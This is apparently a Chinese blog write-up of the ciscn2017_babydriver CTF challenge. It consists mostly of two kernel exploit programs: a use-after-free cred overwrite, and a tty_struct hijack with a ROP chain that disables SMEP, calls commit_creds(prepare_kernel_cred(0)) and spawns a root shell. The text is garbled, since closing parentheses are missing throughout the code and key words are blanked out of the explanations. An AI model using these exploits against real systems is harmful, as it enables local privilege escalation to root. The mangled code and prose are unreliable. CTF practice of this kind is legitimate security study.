kernel UAF && tty_struct

科技资讯 投稿 55800 0 评论

kernel UAF && tty_struct

kernel UAF && 劫持tty_struct

ciscn2017_babydriver

进程时会申请堆来存放。cred结构大小为0xA8。修改里的,为0,即可get root

#include<stdio.h>
#include<fcntl.h>
#include <unistd.h>

int main(
{
	int fd1 = open("/dev/babydev", 2;
	int fd2 = open("/dev/babydev", 2;
	char buf[28] = {0};
	if(fd1 < 0 || fd2 < 0
	{
		puts("[-] open error";
		exit(-1;
	}
	
	ioctl(fd1, 0x10001, 0xa8;
	close(fd1;
	
	int pid = fork(;
	if(pid < 0
	{
		puts("[-] fork error";
		exit(-1;
	}
	else if(pid == 0
	{
		write(fd2, buf, 28;
		if(getuid( == 0
		{
			puts("[+] root now";
			system("/bin/sh";
		}
	}
	else
	{
		wait(NULL;
	}
	close(fd2;
	return 0;
}

exp2
打开时会申请一个大小为的结构体,的位置是里面存放了函数指针,劫持这个结构体可实现栈迁移。

劫持指针,则是的地址,劫持指针,则是的地址

补充一下:在开启  的情况下直接返回用户态会 ,可以把原来的返回地址  函数设为  信号的处理函数,这样原先的 swapgs ; iretq 的方法就可以继续用了。()

当然我们可以直接用  直接绕过 ,可能由于本题内核是一个过渡版本还没有而是,我并没能找到这个函数。

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t vmlinux_base, offset, commit_creds = 0xffffffff810a1420, prepare_kernel_cred = 0xffffffff810a1810;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;

void save_status(
{
	__asm__(
	"mov user_cs, cs;"
	"mov user_ss, ss;"
	"mov user_sp, rsp;"
	"pushf;"
	"pop user_rflags;"
	;
	puts("[+] save the state success!";
}

void get_shell(
{
	if (getuid( == 0
	{
		puts("[+] get root";
		system("/bin/sh";
		puts("[*] get shell";
	}
	else
	{
		puts("[-] get shell error";
		sleep(5;
		exit(0;
	}
}

void get_root(
{
	//commit_creds(prepare_kernel_cred(0
	void *(*pkc(int = (void *(*(intprepare_kernel_cred;
	void (*cc(void * = (void (*(void *commit_creds;
	(*cc((*pkc(0;
}

int main(
{
	signal(11, (size_tget_shell;
	size_t rop[0x100] = {0};
	size_t user_buf[0x100] = {0};
	size_t fake_tty_struct[4] = {0};
	size_t fake_tty_operations[35] = {0};

	save_status(;
	int fd1 = open("/dev/babydev", 2;
	int fd2 = open("/dev/babydev", 2;
	if(fd1 <0 || fd2 < 0
	{
		puts("[-] open babydev error";
		sleep(5;
		exit(0;
	}

	ioctl(fd1, 0x10001, 0x2e0;
	close(fd1;

	int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY;
	if(fd_tty < 0
	{
		puts("[-] open ptmx error";
		sleep(5;
		exit(0;
	}

	int i = 0;
	rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
	rop[i++] = 0x6f0;
	rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
	rop[i++] = 0;
	rop[i++] = (size_tget_root;
	rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
	rop[i++] = 0;
	rop[i++] = 0xffffffff814e35ef; // iretq; ret;
	rop[i++] = (size_tget_shell;
	rop[i++] = user_cs;
	rop[i++] = user_rflags;
	rop[i++] = user_sp;
	rop[i++] = user_ss;

	fake_tty_operations[7] = 0xffffffff8181bfc5; // mov rsp, rax;

	fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax; ret;
	fake_tty_operations[1] = (size_trop;
	fake_tty_operations[2] = 0xffffffff8181bfc5; // mov rsp, rax;

	read(fd2, fake_tty_struct, 32;
	fake_tty_struct[3] = (size_tfake_tty_operations;

	write(fd2, fake_tty_struct, 32;

	write(fd_tty,"FXC",3;
	return 0;
}

编程笔记 » kernel UAF && tty_struct

赞同 (37) or 分享 (0)
游客 发表我的评论   换个身份
取消评论

表情
(0)个小伙伴在吐槽